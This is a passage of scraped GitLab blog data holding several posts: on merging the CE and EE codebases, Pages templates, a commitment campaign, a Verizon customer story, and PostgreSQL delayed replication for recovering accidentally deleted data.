problem](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/24983).\n\n### Conflicts during preparation for regular releases\n\n This concerns preparation for a regular release, e.g. [11.7.5 release](https://gitlab.com/gitlab-org/release/tasks/issues/659). Merge requests preparing the release for both the [CE repository](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/24941) and [EE repository](https://gitlab.com/gitlab-org/gitlab-ee/merge_requests/9441) need to be created and once the pipelines pass, the EE repository requires a merge from the CE repository. This causes additional conflicts, pipeline failures, and similar delays requiring more manual intervention during which the CE distribution release is also delayed.\n\nBetween these three examples, _days_ of engineering time has been spent on [busy work], delaying the delivery of work that brings actual value. Only three examples are highlighted, but this type of work occurs daily.\nWhether writing a new feature available in Core, or any of the enterprise plans, all are equally affected.\n\nMore details on the workflows and challenges can be found in the [working in CE and EE codebases blueprint] document.\n\n## What have we done to improve the situation?\n\nWe've invested significant development time to try and keep the two repositories separate:\n\n### Pre-2016: Manual merges for each release\n\n Prior to 2016, merging the CE repository into the EE repository was done when we were ready to cut a release; the number of commits was small so this could be done by one person.\n\n### 2016-2017: Daily merges by a team of developers\n\nIn 2016, the number of commits between the two repositories grew so the task was divided between seven (brave) developers responsible for merging the code once a day. This worked for a while until delays started happening due to failed specs or difficult merge conflicts.\n\n### 2017-2018: Automated merges every three hours\n\nAt the end of 2017, we merged an [MR that allowed the creation of automated MRs between the two repositories](https://gitlab.com/gitlab-org/release-tools/merge_requests/86), mentioning individuals to resolve conflicts. This task ran every three hours, allowing for a smaller number of commits to be worked on. You can read more about our [automated CE to EE merge here](/blog/using-gitlab-ci-to-build-gitlab-faster/).\n\n### Present: Further automation with Merge Train\n\nBy the end of 2018, the number of changes going into both the CE and EE repositories grew to thousands of commits in some cases, which made the automated MR insufficient. The [Merge Train](https://gitlab.com/gitlab-org/merge-train) tool was created to automate these workflows further, by automatically rejecting merge conflicts and preferring changes from one repository over the other. The edge cases we've encountered are requiring us to invest additional time in improving the custom tool.\n\nThis last attempt turned out to be a bit of a crossroads. Do we invest more development time in improving the custom tooling, knowing that we will never get it 100 percent right, or do we need to take some more drastic measures that are going to save countless hours of development time?\n\n## What are we proposing?\n\nOne of GitLab's core [values] is efficiency. As previously mentioned, merging the [gitlab-ce] Rails repository into the [gitlab-ee] Rails repository is proving to be inefficient.\n\nThe Rails repository is one of many base repositories of which GitLab consists. The [gitlab-ce] repository is a part of a [gitlab-ce distribution] package which offers only the Core [feature set]. Similarly, the [gitlab-ee] repository is part of a [gitlab-ee distribution] package which has a larger feature set available. See the image below:\n\n![CE-EE-Before](https://about.gitlab.com/images/blogimages/merging-ce-and-ee-codebases/community-enterprise-before.png){: .medium.center}\n\nThe change we are proposing would merge the [gitlab-ce] and [gitlab-ee] repositories into a single [gitlab] repository. This change is reflected below:\n\n![CE-EE-After](https://about.gitlab.com/images/blogimages/merging-ce-and-ee-codebases/community-enterprise-after.png){: .medium.center}\n\nThe [design for merging two codebases] outlines the required work and process changes in detail. The proposed change would pertain only to the Ruby on Rails repository, and I've summarized it below.\n\n### So, what changes?\n\n* The [gitlab-ce] and [gitlab-ee] repositories are replaced with a single [gitlab] repository, with all open issues and merge requests moved into the single repository.\n* All frontend assets (JavaScript, CSS, images, views) will be open sourced under the MIT license.\n* All proprietary backend code is located in the `/ee` repository.\n* All documentation is merged together and clearly states which features belong to which [feature set]. Documentation is [already licensed under CC-BY-SA](https://gitlab.com/gitlab-org/gitlab-ce/issues/42891).\n\n### What remains unchanged?\n\n* The [gitlab-ce distribution] package remains fully open source under the same license.\n* All code outside of the `/ee` directory in the single [gitlab] repository is open source.\n* All code in the `/ee` directory remains proprietary with source code available.\n* Other projects, such as [gitlab-shell], [gitaly], [gitlab-workhorse], [gitlab-pages], remain unchanged.\n\n### What are the possible downsides?\n\nWe want to be clear about the possible downsides of this approach:\n\n* Users with installations from source currently cloning the [gitlab-ce] repository would download from a new repository named [gitlab]. The clone will also fetch the proprietary code in `/ee` directory, but removing this directory has no effect on running application.\n\n     ➡️ This is resolved by removing the `/ee` directory after cloning.\n* [gitlab-ce distribution] users would get more database tables because of the new tables in `db/schema.rb`. Database schema is open source and in the [gitlab-ce distribution] these new tables would not be populated, affect performance, or take significant space.\n\n     ➡️ All database migration code is open source and does not add additional maintenance burden, so no additional work is required.\n\n## What's next?\n\nWe currently think that the efficiency gains and clearer naming outweighs these disadvantages. Our [stewardship of GitLab](/company/stewardship/) is an important aspect of GitLab's success as a whole, so we would love to know:\n\n* Is there a better way to accomplish to solve the problem of the [busy work]?\n* What improvements can we make to our proposal?\n* Are there any additional considerations that we should take into account?\n\nWe invite you to share your suggestions in [issue 2952](https://gitlab.com/gitlab-org/gitlab-ee/issues/2952), which was an inspiration for the proposal as it currently stands. We look forward to hearing your thoughts!\n\nCover image from [Unsplash](https://images.unsplash.com/photo-1512217536414-d92543c79ca1)\n{: .note}\n\n[values]: https://handbook.gitlab.com/handbook/values/\n[gitlab-ce]: https://gitlab.com/gitlab-org/gitlab-ce\n[gitlab-ce distribution]: https://packages.gitlab.com/gitlab/gitlab-ce\n[gitlab-ee distribution]: https://packages.gitlab.com/gitlab/gitlab-ee\n[gitlab-ee]: https://gitlab.com/gitlab-org/gitlab-ee\n[gitlab]: https://gitlab.com/gitlab-org/gitlab\n[gitlab-shell]: https://gitlab.com/gitlab-org/gitlab-shell\n[gitaly]: https://gitlab.com/gitlab-org/gitaly\n[gitlab-workhorse]: https://gitlab.com/gitlab-org/gitlab-workhorse\n[gitlab-pages]: https://gitlab.com/gitlab-org/gitlab-pages\n[feature set]: /pricing/feature-comparison/\n[busy work]: https://en.wikipedia.org/wiki/Busy_work\n[working in CE and EE codebases blueprint]: https://gitlab.com/gitlab-com/gl-infra/readiness/-/tree/master/library/ce-ee-codebases\n[design for merging two codebases]: https://gitlab.com/gitlab-com/gl-infra/readiness/-/tree/master/library/merge-ce-ee-codebases\n",[676,267,277,815],{"slug":30572,"featured":6,"template":678},"merging-ce-and-ee-codebases","content:en-us:blog:merging-ce-and-ee-codebases.yml","Merging Ce And Ee Codebases","en-us/blog/merging-ce-and-ee-codebases.yml","en-us/blog/merging-ce-and-ee-codebases",{"_path":30578,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30579,"content":30585,"config":30590,"_id":30592,"_type":16,"title":30593,"_source":17,"_file":30594,"_stem":30595,"_extension":20},"/en-us/blog/start-using-pages-quickly",{"title":30580,"description":30581,"ogTitle":30580,"ogDescription":30581,"noIndex":6,"ogImage":30582,"ogUrl":30583,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30583,"schema":30584},"New: How to get up and running quickly using GitLab Pages templates","We're introducing bundled GitLab Pages templates, so let's take a look at how easy it really is now to get up and running with a new site.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679908/Blog/Hero%20Images/pages-templates-cover-image.jpg","https://about.gitlab.com/blog/start-using-pages-quickly","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"New: How to get up and running quickly using GitLab Pages templates\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jason Yavorska\"}],\n        \"datePublished\": \"2019-02-20\",\n      }",{"title":30580,"description":30581,"authors":30586,"heroImage":30582,"date":30587,"body":30588,"category":734,"tags":30589},[22054],"2019-02-20","\n\nHello everyone, my name is Jason Yavorska and I'm the product manager for the [Release stage](/stages-devops-lifecycle/release/) here at GitLab, which includes GitLab Pages. In our [GitLab 11.8 release (March 2019) we're introducing](https://gitlab.com/gitlab-org/gitlab-ce/issues/47857) a quick way to select from our most popular [Pages templates](https://gitlab.com/pages?sort=stars_desc) directly from the new project setup screen. If you use GitLab.com, you can take advantage of this feature already! It looks a bit like this:\n\n![Pages Templates View](https://about.gitlab.com/images/blogimages/pages-templates-view.png){: .shadow.medium.center}\n\nNow, instead of having to fork an existing template, you can simply select one of the bundled ones and get going right away. If you're interested in one of the other templates, you can still create those in the old way – check out the [existing documentation on how to fork a template](https://docs.gitlab.com/ee/user/project/pages/index.html#fork-a-project-to-get-started-from).\n\nIn this article I'm going to show you just how effortless all of this can be. But first:\n\n## My experience contributing GitLab Pages templates\n\nFirst, though, I'd be remiss if I didn't mention that I contributed this change myself (with the help of a few key supporting players, of course.) Now, you may be wondering: I thought you were a product manager at GitLab? Not a developer? Well, that's absolutely true, but I am a hobbyist programmer on the side. I've contributed a small change here or there on my own time, but this was the largest, most complex thing that I've ever contributed myself.\n\nI always find in these situations that contributing is in some ways easier than you expect, and in some ways more challenging. Getting the code working was actually surprisingly straightforward: I was able to get our GDK ([GitLab Development Kit](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/master/README.md)) up and running with minimal hassle, and then was able to iterate quickly until I found a working solution. Most of my challenges ended up being around getting the change through our review process and into the release. There's a lot you have to learn there, and I think it just takes some time and practice in order to have it all click. What was truly amazing, though, was all the friendly people who jumped in to help me along the way. I learned so much and am so proud of how everything came together in the end.\n\nIf you're considering making your first contribution, feel free to reach out to me on Twitter ([@j4yav](https://twitter.com/j4yav)) and I'll be happy to help guide you in the right direction. Contributing to open source is a great feeling, big or small, and if you haven't tried it before you should really give it a go.\n\n## Now let's set up a site!\n\nWith that out of the way, let's see this in action to appreciate just how painless it really is to set up a new site in GitLab pages now.\n\nThe video below walks through the steps, with full instructions underneath.\n\n Note that if you're using a private on-premise version of GitLab, be sure to check with your administrator to ensure that Pages is enabled. You may need to adjust some of the URLs in the setup below depending on your site configuration.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://youtube.com/embed/C2E1M-4Jvd0\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### 1. Create the new project\n\nFor this example, we'll use the [Hugo](https://gohugo.io/) template, our most popular one. Simply go to the GitLab home page, and select \"New Project\" from the top right. Click on \"Create from template,\" click on the Hugo template, and then click on \"Use template.\" Give it a name like `namespace.gitlab.io`, where `namespace` is your `username` or `groupname`.\n\n### 2. Run your first pipeline\n\nWe need to make one quick edit, which will naturally kick off a pipeline and deploy our site for the first time. What we need to do is edit our `config.toml` to have the same URL that we set up in the project name. To do this we will go to Repository → Files, click on the `config.toml` file, and then click on \"Edit\" in the toolbar. All we need to do is change the `baseurl = \"https://pages.gitlab.io/hugo/\"` line to `baseurl = \"https://namespace.gitlab.io/\"` (again, replacing `namespace` with your `username` or `groupname`).\n\nCommit your changes, then head over to CI/CD → Pipelines and look for the new pipeline that's running. You can click on the status to see the build log, or just wait for it to finish – you might be surprised at how fast this is! Once the pipeline passes, we're good to go. It may take a minute or two for everything to work through replication, but once it does, you can see your new site at `https://namespace.gitlab.io/`, beautiful template included, just waiting for you to customize further.\n\n### 3. Where to go next\n\nThere's a lot of basic configuration for your site in the `config.toml`, check that out and see what you might like to modify. The about page is in `/content/page/about.md`, and you can see example posts for your blog in `/content/post` – feel free to delete these when you're done with them. Since these are written in [markdown](https://docs.gitlab.com/ee/user/markdown.html) they are a piece of cake to edit or add new ones. Getting started with Hugo is a bit out of scope for this post, but I assure you it's quite straightforward. You can check out the [Hugo getting started pages](https://gohugo.io/getting-started/) for more ideas on what you can do. Be sure also to check out [Hugo themes](https://gohugo.io/themes/) if you're looking for inspiration.\n\nHopefully this was helpful in getting you started. Good luck with your new site!\n\nCover image by José Alejandro Cuffia(https://unsplash.com/@alecuffia) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[4144,754,676,815],{"slug":30591,"featured":6,"template":678},"start-using-pages-quickly","content:en-us:blog:start-using-pages-quickly.yml","Start Using Pages Quickly","en-us/blog/start-using-pages-quickly.yml","en-us/blog/start-using-pages-quickly",{"_path":30597,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30598,"content":30603,"config":30609,"_id":30611,"_type":16,"title":30612,"_source":17,"_file":30613,"_stem":30614,"_extension":20},"/en-us/blog/just-commit-launch",{"title":30599,"description":30600,"ogTitle":30599,"ogDescription":30600,"noIndex":6,"ogImage":29685,"ogUrl":30601,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30601,"schema":30602},"Let’s talk about commitment","What possibilities could you unlock by just making the choice, committing, and moving forward?","https://about.gitlab.com/blog/just-commit-launch","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Let’s talk about commitment\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Todd Barr\"}],\n        \"datePublished\": \"2019-02-18\",\n      }",{"title":30599,"description":30600,"authors":30604,"heroImage":29685,"date":30606,"body":30607,"category":8943,"tags":30608},[30605],"Todd Barr","2019-02-18","\n\nWe’re now solidly into 2019. Commitments you made to yourself, your health, your productivity, your career, your budget, or whatever the case may be – they’re probably becoming harder to keep. This pattern of making resolutions, being on our best behavior for a while, falling off the wagon, returning to our ways, then starting the whole process over in the new year is all too familiar.\n\nWith [50 percent of digital transformation efforts stalled in 2018](https://mktg.forrester.com/predictions-2019), you’ve likely experienced your own version of this at work, and are probably even somewhere in that cycle right now.\n\nThe thing is, commitment unlocks new potential. You often don’t get to the good stuff until you make that commitment – whether it’s committing to months of training and discipline, then experiencing the euphoria of completing your first marathon, or committing to your partner and building a life together.\n\nIn the software space, making that commitment can be the difference between paying lip service to DevOps transformation and actually realizing its promises. Making big changes, especially at an organizational level, is daunting. The trick is to commit to the process, not just to the goal. [Focusing on the processes and behaviors that support the goal is key to success](https://www.scienceofpeople.com/goal-setting/), so having a clear plan of attack rather than an abstract objective to achieve is what makes all the difference.\n\nHere at GitLab, we committed to being [all-remote](/company/culture/all-remote/) – allowing us to hire the best people, no matter where in the world they might be or at what times they choose to work. We went all in on [asynchronous communication](/handbook/communication/#internal-communication), conscientiously documenting everything so we could collaborate across time zones and borders. We committed to a monthly release cycle, a decision which has seen us ship, to date, 88 consecutive new releases, allowing us to work with a short feedback loop and make small adjustments and iterations along the way. It was our commitment to the process, to having a single vision and steadily marching toward it, that enabled us to build a single application for the entire DevOps lifecycle with an all-remote team.\n\nSo this is what we’re asking you to do! Just commit. To software modernization. To faster cycle times. To secure apps. And because commitment is easier when you have a plan, and accountability, we’re here to support you on the journey. Over the coming weeks, we will be rolling out a series of blog posts and guides to help you make meaningful, lasting change in your organization. From tips and success stories on how to modernize your application architecture, to finally getting on top of technical debt, and building more secure applications, we’re working with our experts, customers, and community to help you along the way.\n\nObviously, commit has a double meaning for us. Git unlocked a whole new way to collaborate on software with the humble commit. Now, at GitLab, committing unlocks a whole lot more value – faster time to market, more secure code, more modern applications. We’re asking you to just commit to these. [Are you up for the challenge?](/blog/application-modernization-best-practices/)\n\n## #JustCommit\nSo, you're committing to starting something new this year. Hooray! 🎉 It's always easier to stick to something with a buddy – tell us your commitments by tweeting us [@gitlab](https://twitter.com/gitlab) using #JustCommit, and we'll do our best to help (and enter you into our swag giveaway)! The [giveaway](/community/sweepstakes/) lasts through April, but we want to keep you committing all year long.\n",[4103,1067,676],{"slug":30610,"featured":6,"template":678},"just-commit-launch","content:en-us:blog:just-commit-launch.yml","Just Commit Launch","en-us/blog/just-commit-launch.yml","en-us/blog/just-commit-launch",{"_path":30616,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30617,"content":30623,"config":30630,"_id":30632,"_type":16,"title":30633,"_source":17,"_file":30634,"_stem":30635,"_extension":20},"/en-us/blog/verizon-customer-story",{"title":30618,"description":30619,"ogTitle":30618,"ogDescription":30619,"noIndex":6,"ogImage":30620,"ogUrl":30621,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30621,"schema":30622},"Verizon cuts datacenter rebuilds from 30 days to 8 hours","Verizon utilized microservices, automation, and GitLab to reduce datacenter rebuilds to under 8 hours.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678933/Blog/Hero%20Images/verizon_video_blog.jpg","https://about.gitlab.com/blog/verizon-customer-story","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How Verizon Connect reduced datacenter rebuilds from 30 days to under 8 hours with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kim Lock\"}],\n        \"datePublished\": \"2019-02-14\",\n      }",{"title":30624,"description":30619,"authors":30625,"heroImage":30620,"date":30627,"body":30628,"category":813,"tags":30629},"How Verizon Connect reduced datacenter rebuilds from 30 days to under 8 hours with GitLab",[30626],"Kim Lock","2019-02-14","\nIn 2016, the [Verizon Connect](https://www.verizonconnect.com/) Telematics Container Cloud Platform team was struggling with data center\nbuilds that took 30 days. Working with legacy systems that included Java-based, monolithic\napplications, they also had a variety of disparate tools including BitBucket, Jenkins, and Jira\nin use throughout their environment.\n\n### Starting from scratch to move to microservices and increase automation\n\nThe group looked to move to a [microservices architecture](/blog/strategies-microservices-architecture/) to improve deploy speed and increase\nautomation. They also wanted to overcome manual errors, disjointed processes, and\nmanual deploys. \"We were just spending too much time doing stuff manually, so we decided\nto just start fresh and write everything from scratch,\" says Mohammed Mehdi, Principal DevOps, Verizon.\n\nAs they created this new infrastructure, they kept four key components in mind: architecture,\nautomation, extensibility, and being proactive and prepared for the future. They wanted to rebuild\ntheir data centers in less than 12 hours, instead of 30 days. They had a goal of 100 percent CI/CD.\nThey wanted to remove manual deployments, especially around the server and network deployments.\nThe team also focused on avoiding vendor lock-in by seeking open source tools to help them accomplish these goals.\n\nThe team looked to improve automation by focusing on simplification, standardization, and providing end-to-end visibility.\n\"We wanted easily repeatable, with zero-touch, zero-downtime deployments, automated tracking,\" Mehdi explains.\n\n### A single solution to meet their needs\n\nThe team chose GitLab to support this infrastructure initiative because it met a number of their qualifications, including being open source and offering Windows support. The team liked that it is easy to use and the UI easy to understand.\n\n\"Some of the other features that we really loved, and we didn’t find with any other CI/CD tool, are the project management\nfeatures,\" Mehdi says. \"GitLab replaced a bunch of disparate systems for us like Jira, BitBucket, and Jenkins. GitLab\nprovided us with a one-stop solution.\"\n\nThe Verizon Connect Telematics Container Cloud Platform team is using GitLab for:\n\n- [Code review](/blog/demo-mastering-code-review-with-gitlab/)\n- [CI/CD](/solutions/continuous-integration/)\n- [Issue tracking](/pricing/feature-comparison/)\n- [Source Code Management](/solutions/source-code-management/)\n- [Audit Management](https://docs.gitlab.com/ee/administration/audit_events.html)\n- [ChatOps](https://docs.gitlab.com/ee/ci/chatops/)\n\nThe team has successfully achieved deployment flexibility and are platform agnostic. They now have\nstreamlined processes and developers can truly focus on differentiating tasks.\n\nThe team was able to reduce their complete datacenter deploy\nprocess to under eight hours because of the streamlined deploy and build processes\nthey enabled using GitLab. Learn how [Verizon Connect](https://www.verizonconnect.com/) is achieving this success by watching\nmore about their story and how they achieved their targets in [the YouTube video](https://youtu.be/zxMFaw5j6Zs) below.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/zxMFaw5j6Zs\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nThanks for giving GitLab a shot, Verizon Connect!\n\nCover image by [chuttersnap](https://unsplash.com/@chuttersnap) on [Unsplash](https://unsplash.com)\n{: .note}\n",[2705,110,4103,4772,1444],{"slug":30631,"featured":6,"template":678},"verizon-customer-story","content:en-us:blog:verizon-customer-story.yml","Verizon Customer Story","en-us/blog/verizon-customer-story.yml","en-us/blog/verizon-customer-story",{"_path":30637,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30638,"content":30644,"config":30650,"_id":30652,"_type":16,"title":30653,"_source":17,"_file":30654,"_stem":30655,"_extension":20},"/en-us/blog/delayed-replication-for-disaster-recovery-with-postgresql",{"title":30639,"description":30640,"ogTitle":30639,"ogDescription":30640,"noIndex":6,"ogImage":30641,"ogUrl":30642,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30642,"schema":30643},"How we used delayed replication for disaster recovery with PostgreSQL","Replication is no backup. Or is it? Let's take a look at delayed replication and how we used it to recover from accidental label deletion.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683349/Blog/Hero%20Images/mathew-schwartz-397471-unsplash.jpg","https://about.gitlab.com/blog/delayed-replication-for-disaster-recovery-with-postgresql","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we used delayed replication for disaster recovery with PostgreSQL\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Andreas Brandl\"}],\n        \"datePublished\": \"2019-02-13\",\n      }",{"title":30639,"description":30640,"authors":30645,"heroImage":30641,"date":30647,"body":30648,"category":734,"tags":30649},[30646],"Andreas Brandl","2019-02-13","\nThe [infrastructure team](/handbook/engineering/infrastructure/) at GitLab is responsible for the operation of [GitLab.com](https://gitlab.com/), the largest GitLab instance in existence: With about 3 million users and nearly 7 million projects, it is one of the largest single-tenancy, open source SaaS sites on the internet. The PostgreSQL database system is a critical part of the infrastructure that powers GitLab.com and we employ various strategies to provide resiliency against all kinds of data-loss-inducing disasters. Those are highly unlikely of course, but we are well prepared with backup and replication mechanisms to recover from these scenarios.\n\nIt's a misconception to think of replication as a means to back up a database ([see below](#summing-up)). However, in this post, we're going to explore the power of delayed replication to recover data after an accidental deletion: On [GitLab.com](https://gitlab.com), a user [deleted a label](https://gitlab.com/gitlab-com/gl-infra/production/issues/509) for the [`gitlab-ce`](https://gitlab.com/gitlab-org/gitlab-ce/) project, thereby also losing the label's association with merge requests and issues.\n\nWith a delayed replica in place, we were able to recover and restore that data in under 90 minutes. We'll look into that process and how delayed replication helped to achieve this.\n\n### Point-in-time recovery with PostgreSQL\n\nPostgreSQL comes with a built-in feature to recover the state of a database to a certain point in time. This is called *[Point-in-Time Recovery](https://www.postgresql.org/docs/current/continuous-archiving.html)* (PITR), which leverages the same mechanics that are used to keep a replica up to date: Starting from a consistent snapshot of the whole database cluster (a *basebackup*), we apply the sequence of changes to the database state until a certain point in time has been reached.\n\nIn order to use this feature for a cold backup, we regularly take a basebackup of the database and store this in the *archive* (at GitLab, we keep the archive in [Google Cloud Storage](https://cloud.google.com/storage/)). Additionally, we keep track of changes to the database state by archiving the [*write-ahead log*](https://www.postgresql.org/docs/current/wal-intro.html) (WAL). With that in place, we can perform PITR to recover from a disaster: Start with a snapshot that was taken before the disaster happened and apply changes from the WAL archive until right before the disastrous event.\n\n### What is delayed replication?\n\n*Delayed replication* is the idea of applying time-delayed changes from the WAL. That is, a transaction that is committed at physical time `X` is only going to be visible on a replica with delay `d` at time `X + d`.\n\nFor PostgreSQL, there are two ways of setting up a physical replica of the database: *Archive recovery* and *streaming replication*. [Archive recovery](https://www.postgresql.org/docs/11/archive-recovery-settings.html) essentially works like PITR but in a continuous way: We keep retrieving changes from the WAL archive and apply them to the replica state in a continuous fashion. On the other hand, [streaming replication](https://wiki.postgresql.org/wiki/Streaming_Replication) directly retrieves the WAL stream from an upstream database host. We prefer archive recovery for delayed replication because it is simpler to manage and delivers an adequate level of performance to keep up with the production cluster.\n\n### How to set up delayed archive recovery\n\nConfiguration of [recovery options](https://www.postgresql.org/docs/11/recovery-config.html) mostly go into `recovery.conf`. Here's an example:\n\n```\nstandby_mode = 'on'\nrestore_command = '/usr/bin/envdir /etc/wal-e.d/env /opt/wal-e/bin/wal-e wal-fetch -p 4 \"%f\" \"%p\"'\nrecovery_min_apply_delay = '8h'\nrecovery_target_timeline = 'latest'\n```\n\nWith these settings in place, we have configured a delayed replica with archive recovery. It uses [wal-e](https://github.com/wal-e/wal-e) to retrieve WAL segments (`restore_command`) from the archive and delays application of changes by eight hours (`recovery_min_apply_delay`). The replica is going to follow any timeline switches present in the archive, e.g. caused by a failover in the cluster (`recovery_target_timeline`).\n\nIt is possible to configure streaming replication with a delay using `recovery_min_apply_delay`. However, there are a few pitfalls regarding replication slots, hot standby feedback, and others that one needs to be aware of. In our case, we avoid them by replicating from the WAL archive instead of using streaming replication.\n\nIt is worth noting that `recovery_min_apply_delay` was only introduced in PostgreSQL 9.4. However, in previous versions, a delayed replica is typically implemented with a combination of [recovery management functions](https://www.postgresql.org/docs/9.3/functions-admin.html) (`pg_xlog_replay_pause(), pg_xlog_replay_resume()`) or by withholding WAL segments from the archive for the duration of the delay.\n\n### How does PostgreSQL implement it?\n\nIt is particularly interesting to see how PostgreSQL implements delayed recovery. So let's look at [`recoveryApplyDelay(XlogReaderState)`](https://gitlab.com/postgres/postgres/blob/c24dcd0cfd949bdf245814c4c2b3df828ee7db36/src/backend/access/transam/xlog.c#L6124) below. It is called from the [main redo apply loop](https://gitlab.com/postgres/postgres/blob/c24dcd0cfd949bdf245814c4c2b3df828ee7db36/src/backend/access/transam/xlog.c#L7196) for each record read from WAL.\n\n```c\nstatic bool\nrecoveryApplyDelay(XLogReaderState *record)\n{\n\tuint8\t\txact_info;\n\tTimestampTz xtime;\n\tlong\t\tsecs;\n\tint\t\t\tmicrosecs;\n\n\t/* nothing to do if no delay configured */\n\tif (recovery_min_apply_delay \u003C= 0)\n\t\treturn false;\n\n\t/* no delay is applied on a database not yet consistent */\n\tif (!reachedConsistency)\n\t\treturn false;\n\n\t/*\n\t * Is it a COMMIT record?\n\t *\n\t * We deliberately choose not to delay aborts since they have no effect on\n\t * MVCC. We already allow replay of records that don't have a timestamp,\n\t * so there is already opportunity for issues caused by early conflicts on\n\t * standbys.\n\t */\n\tif (XLogRecGetRmid(record) != RM_XACT_ID)\n\t\treturn false;\n\n\txact_info = XLogRecGetInfo(record) & XLOG_XACT_OPMASK;\n\n\tif (xact_info != XLOG_XACT_COMMIT &&\n\t\txact_info != XLOG_XACT_COMMIT_PREPARED)\n\t\treturn false;\n\n\tif (!getRecordTimestamp(record, &xtime))\n\t\treturn false;\n\n\trecoveryDelayUntilTime =\n\t\tTimestampTzPlusMilliseconds(xtime, recovery_min_apply_delay);\n\n\t/*\n\t * Exit without arming the latch if it's already past time to apply this\n\t * record\n\t */\n\tTimestampDifference(GetCurrentTimestamp(), recoveryDelayUntilTime,\n\t\t\t\t\t\t&secs, &microsecs);\n\tif (secs \u003C= 0 && microsecs \u003C= 0)\n\t\treturn false;\n\n\twhile (true)\n\t{\n        // Shortened:\n        // Use WaitLatch until we reached recoveryDelayUntilTime\n        // and then\n        break;\n\t}\n\treturn true;\n}\n```\n\nThe takeaway here is that the delay is based on the physical time that was recorded with the commit timestamp of the transaction (`xtime`). We can also see that the delay is only applied to commit records but not to other types of records: Any data changes are directly applied but the corresponding commit is delayed, so these changes only become visible after the configured delay.\n\n### How to use a delayed replica to recover data\n\nLet's say we have a production database cluster and a replica with eight hours of delay. How do we use this to recover data? Let's look at how this worked in the case of the [accidental label deletion](https://gitlab.com/gitlab-com/gl-infra/production/issues/509).\n\nAs soon as we were aware of the incident, we [paused archive recovery](https://www.postgresql.org/docs/9.3/functions-admin.html) on the delayed replica:\n\n```sql\nSELECT pg_xlog_replay_pause();\n```\n\nPausing the replica eliminated the risk of the replica replaying the `DELETE` query. This is useful if you need more time to investigate.\n\nThe recovery approach is to let the delayed replica catch up until right before the point the `DELETE` query occurred. In our case we knew roughly the physical time of the `DELETE` query. We removed `recovery_min_apply_delay` and added `recovery_target_time` to `recovery.conf`. This effectively lets the replica catch up as fast as possible (no delay) until a certain point in time:\n\n```\nrecovery_target_time = '2018-10-12 09:25:00+00'\n```\n\nWhen operating with physical timestamps, it's worth adding a little margin for error. Obviously, the bigger the margin, the bigger the data loss. On the other hand, if the replica recovers beyond the actual incident timestamp it also replays the `DELETE` query and we would have to start over (or worse: use a cold backup to perform PITR).\n\nAfter restarting the delayed Postgres instance, we saw a lot of WAL segments being replayed until the target transaction time was reached. In order to get a sense of the progress during this phase, we can use this query:\n\n```sql\nSELECT\n  -- current location in WAL\n  pg_last_xlog_replay_location(),\n  -- current transaction timestamp (state of the replica)\n  pg_last_xact_replay_timestamp(),\n  -- current physical time\n  now(),\n  -- the amount of time still to be applied until recovery_target_time has been reached\n  '2018-10-12 09:25:00+00'::timestamptz - pg_last_xact_replay_timestamp() as delay;\n```\n\nWe know recovery is complete when the replay timestamp does not change any more. We can consider setting a [`recovery_target_action`](https://www.postgresql.org/docs/11/recovery-target-settings.html) in order to shut down, promote or pause the instance once replay has completed (the default is to pause).\n\nThe database is now in the state preceding the disastrous query. We can start to export data or otherwise make use of the database. In our case, we exported information about the label that was deleted and its association with issues and merge requests and imported that data into our production database. In other cases with more severe data loss, it can be favorable to promote the replica and continue to use it as a primary. However this means that we lose any data that was entered into the database after the point in time we recovered to.\n\nA more precise alternative to using physical timestamps for targeted recovery is using transaction ids. It is good practice to log transaction ids for e.g. DDL statements (like `DROP TABLE`) using `log_statements = 'ddl'`. If we had a transaction id at hand, we could have used `recovery_target_xid` instead in order to replay to the transaction that preceded the `DELETE` query.\n\nFor the delayed replica, the way back to normal is simple: Revert changes to `recovery.conf` and restart Postgres. After a while, the replica is going to show a delay of eight hours again – ready for any future disasters.\n\n### Benefits for recovery\n\nThe major benefit from a delayed replica over using a cold backup is that it eliminates the step of restoring a full snapshot from the archive. This can easily take hours, depending on network and storage speeds. In our case, it takes roughly five hours to retrieve the full ~2TB basebackup from the archive. In addition to that, we would have to apply 24 hours' worth of WAL in order to recover to the desired state (in the worst case).\n\nWith a delayed replica in place, we get two benefits over a cold backup:\n\n1. No need to retrieve a full basebackup from the archive and\n2. we have a *fixed* window of eight hours' worth of WAL that needs to be replayed to catch up.\n\nIn addition to that, we continuously test our ability to perform PITR from the WAL archive and would quickly realize WAL archive corruption or other WAL-related problems by monitoring the lag of the delayed replica.\n\nIn our example case, completing recovery took 50 minutes and translated to a recovery rate of 110 GB worth of WAL per hour (the archive was still on [AWS S3](https://aws.amazon.com/s3/) at that 